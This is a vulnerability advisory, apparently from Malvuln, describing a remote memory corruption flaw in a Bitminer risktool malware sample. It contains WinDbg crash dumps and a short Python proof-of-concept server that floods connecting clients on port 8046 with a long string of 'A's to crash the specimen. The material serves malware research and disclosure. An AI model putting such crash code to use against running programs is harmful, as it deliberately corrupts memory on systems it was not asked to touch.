HEUR.RISKTOOL.WIN32.BITMINER.GEN malware suffers from a null pointer vulnerability.
601917f8df7d6350a3eb11666ce5459cDiscovery / credits: malvuln - Malvuln.com (c) 2021
Original source: http://malvuln.com/advisory/b85ae73dbbfff1d3b90cb7c78356f2a3.txt
Contact: malvuln13@gmail.com
Media: twitter.com/malvuln
Threat: HEUR.RISKTOOL.WIN32.BITMINER.GEN
Vulnerability: Remote Memory Corruption
Description: Null pointer write access violation on server response to an HTTP request to TCP port 8046. The program also connects to port 80 and respawns upon crashing.
Type: PE32
MD5: b85ae73dbbfff1d3b90cb7c78356f2a3
Vuln ID: MVID-2021-0009
Dropped files: SQLAGENTSI.exe, AutoRunApp.vbs, VBS.vbs
ASLR: False
Safe SEH: True
Disclosure: 01/02/2021
Memory Dump:
0:012> .ecxr
eax=0e4e3beb ebx=05d8b4c0 ecx=74d07084 edx=04370850 esi=05db2b00 edi=05d8b028
eip=05d8b4c2 esp=05c3ff0c ebp=05c3ff3c iopl=0 nv up ei pl nz na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010206
05d8b4c2 0000 add byte ptr [eax],al ds:002b:0e4e3beb=??
ExceptionAddress: 05d8b4c2
ExceptionCode: c0000005 (Access violation)
ExceptionFlags: 00000000
NumberParameters: 2
Parameter[0]: 00000001
Parameter[1]: 0e4e3beb
Attempt to write to address 0e4e3beb
0:012> !address 0e4e3beb
Usage: Free
Base Address: 0a860000
End Address: 5a2c0000
Region Size: 4fa60000
Type: 00000000
State: 00010000 MEM_FREE
Protect: 00000001 PAGE_NOACCESS
The specimen has also thrown exploitable Guard page violation. A page of memory that marks the end of a data structure, such as a stack or an array, has been accessed.
ExceptionAddress: 2a8dd862
ExceptionCode: 80000001 (Guard page violation)
ExceptionFlags: 00000000
NumberParameters: 2
Parameter[0]: 00000001
Parameter[1]: 33036b23
0:012> .ecxr
eax=33036b23 ebx=2a8dd860 ecx=74d07084 edx=044c0850 esi=2a921548 edi=2a8ddf60
eip=2a8dd862 esp=05c0ff0c ebp=05c0ff3c iopl=0 nv up ei pl nz na po nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010202
2a8dd862 0000 add byte ptr [eax],al ds:002b:33036b23=??
Exploit/PoC:
import socket
port=8046
payload="A"*256
max_flood=666
c=0
def doit():
global c,payload,port
s = socket.socket()
try:
host = ''
s.bind((host, port))
s.listen(5)
print('HEUR.RiskTool.Win32.BitMiner.gen / Remote Memory Corruption')
print('MD5: b85ae73dbbfff1d3b90cb7c78356f2a3')
print("By malvuln")
while c < max_flood:
c+=1
conn, addr = s.accept()
conn.send(payload+'\r\n')
conn.close()
if c==max_flood:
break
except Exception as e:
pass
if __name__=="__main__":
doit()
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